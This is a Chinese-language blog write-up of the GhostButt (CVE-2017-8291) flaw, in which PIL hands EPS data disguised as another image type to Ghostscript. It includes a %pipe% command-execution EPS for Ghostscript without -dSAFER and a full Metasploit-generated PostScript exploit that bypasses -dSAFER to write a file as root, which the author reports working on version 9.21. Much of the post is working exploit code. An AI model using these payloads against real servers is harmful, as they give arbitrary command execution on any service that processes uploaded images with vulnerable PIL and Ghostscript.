PIL利用ghostscript漏洞

前言

基本是跟着nearg1e大神的文章走的,自己比较菜,只能膜膜大神了
https://github.com/neargle/PIL-RCE-By-GhostButt

环境

Ubuntu16.04,PIL1.1.7,ghostscript-9.19(version <= 9.21)

分析

首先是一个简单的Demo

1
2
3
4
5
6
7
from PIL import Image
def get_img_size(filepath=""):
if filepath:
img = Image.open(filepath)
img.load()
return img.size
return (0,0)

这个非常简单,就是获取图片size的Demo,这里调用了PIL里Image的Image.open和Image.load函数,加载图片
进下源码,看open函数里,由于这里我已经了解这个漏洞大概了,我直接看open函数对格式的判断吧

1
2
3
4
5
6
7
8
for i in ID:
try:
factory, accept = OPEN[i]
if not accept or accept(prefix):
fp.seek(0)
return factory(fp, filename)
except (SyntaxError, IndexError, TypeError):
pass

看到accept(prefix),这个prefix是前缀,文件头,也就是说这里应用了文件头,我们再跟下这个accept

1
2
3
4
5
6
7
8
9
#EpsImagePlugin
def _accept(prefix):
return prefix[:4] == "%!PS" or i32(prefix) == 0xC6D3D0C5L
#GifImagePlugin
def _accept(prefix):
return prefix[:6] in ["GIF87a", "GIF89a"]
#CurImagePlugin
def _accept(prefix):
return prefix[:4] == "\0\0\2\0"

这样的还有很多,也就是说,我们使用的后缀不要紧,重要的是文件头表示这是什么文件,我们试一下:
首先找一张普通图吧,这张图片是png格式,我改成jpg,然后用脚本走下。

1
2
3
4
5
from PIL import Image
def show(filename):
i=Image.open(filename)
print i.format
show("./123.jpg")

[ 改后缀]

那么我改改文件头呢?

是可以的,做到让PIL懵逼
我跟着nearg1e大神的思路走了下就是阅读EpsImagePlugin的源码
load之后,我们走向EpsImagePlugin

1
2
3
4
5
6
7
command = ["gs",
"-q", # quite mode
"-g%dx%d" % size, # set output geometry (pixels)
"-dNOPAUSE -dSAFER", # don't pause between pages, safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % file,# output file
"- >/dev/null 2>/dev/null"]

命令是gs -q -g%dx%d -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=%s - >/dev/null 2>/dev/null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
try:
gs = os.popen(command, "w")
# adjust for image origin
if bbox[0] != 0 or bbox[1] != 0:
gs.write("%d %d translate\n" % (-bbox[0], -bbox[1]))
fp.seek(offset)
while length > 0:
s = fp.read(8192)
if not s:
break
length = length - len(s)
gs.write(s)
status = gs.close()
if status:
raise IOError("gs failed (status %d)" % status)
im = Image.core.open_ppm(file)
finally:
try: os.unlink(file)
except: pass

这里就是dSAFER参数,这个参数限制了我们对文件删除、重命名以及命令执行的行为,但是牛逼的 GhostButt CVE-2017-8291 刚好就是 dSAFER 参数的 bypass。但是,这个漏洞,我一个web狗表示很纠结,于是,我先进行下不带dSAFER的尝试

不带dSAFER的尝试

我们直接把源码里的dSAFER注释掉,然后就可以了
不带dSAFER的使用,发现一切比较舒畅,我们直接利用gs的pipe通道就可以直接命令执行

1
2
3
4
5
6
7
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

currentdevice null false mark /OutputFile (%pipe%echo "hahaha" > /home/web/2333)")
.putdeviceparams
1 true .outputpage
0 0 .quit

我们使用这个包装过的poc,我们可以改为png后缀,进行image.load操作,发现没毛病。之后就直接进行cve吧

GhostButt CVE-2017-8291

这让我一个web狗很纠结啊,表示二进制很渣啊。
所以,我就直接用msf吧,生成了如下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100


/size_from 10000 def
/size_step 500 def
/size_to 65000 def
/enlarge 1000 def

%/bigarr 65000 array def

0
size_from size_step size_to {
pop
1 add
} for

/buffercount exch def

/buffersizes buffercount array def


0
size_from size_step size_to {
buffersizes exch 2 index exch put
1 add
} for
pop

/buffers buffercount array def

0 1 buffercount 1 sub {
/ind exch def
buffersizes ind get /cursize exch def
cursize string /curbuf exch def
buffers ind curbuf put
cursize 16 sub 1 cursize 1 sub {
curbuf exch 255 put
} for
} for


/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def

enlarge array aload

{
.eqproc
buffersearchvars 0 buffersearchvars 0 get 1 add put
buffersearchvars 1 0 put
buffersearchvars 2 0 put
buffercount {
buffers buffersearchvars 1 get get
buffersizes buffersearchvars 1 get get
16 sub get
254 le {
buffersearchvars 2 1 put
buffersearchvars 3 buffers buffersearchvars 1 get get put
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
} if
buffersearchvars 1 buffersearchvars 1 get 1 add put
} repeat

buffersearchvars 2 get 1 ge {
exit
} if
%(.) print
} loop

.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put


buffersearchvars 0 get array aload

sdevice 0 get
16#3e8 0 put

sdevice 0 get
16#3b0 0 put

sdevice 0 get
16#3f0 0 put


currentdevice null false mark /OutputFile (%pipe%echo "**" > /root/flag)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

但是很纠结的是不行啊。
于是我又在9.21版本试了一次,结果发现,可以了。

也就是说这个cve只适用于9.21版本的,所以兄弟们注意了。

后记

由于自己不是pwn大神,所以这个cve就先放一下吧,以后功力涨了再说,先把web端搞好。

感谢老爷打赏
显示 Gitment 评论
undefined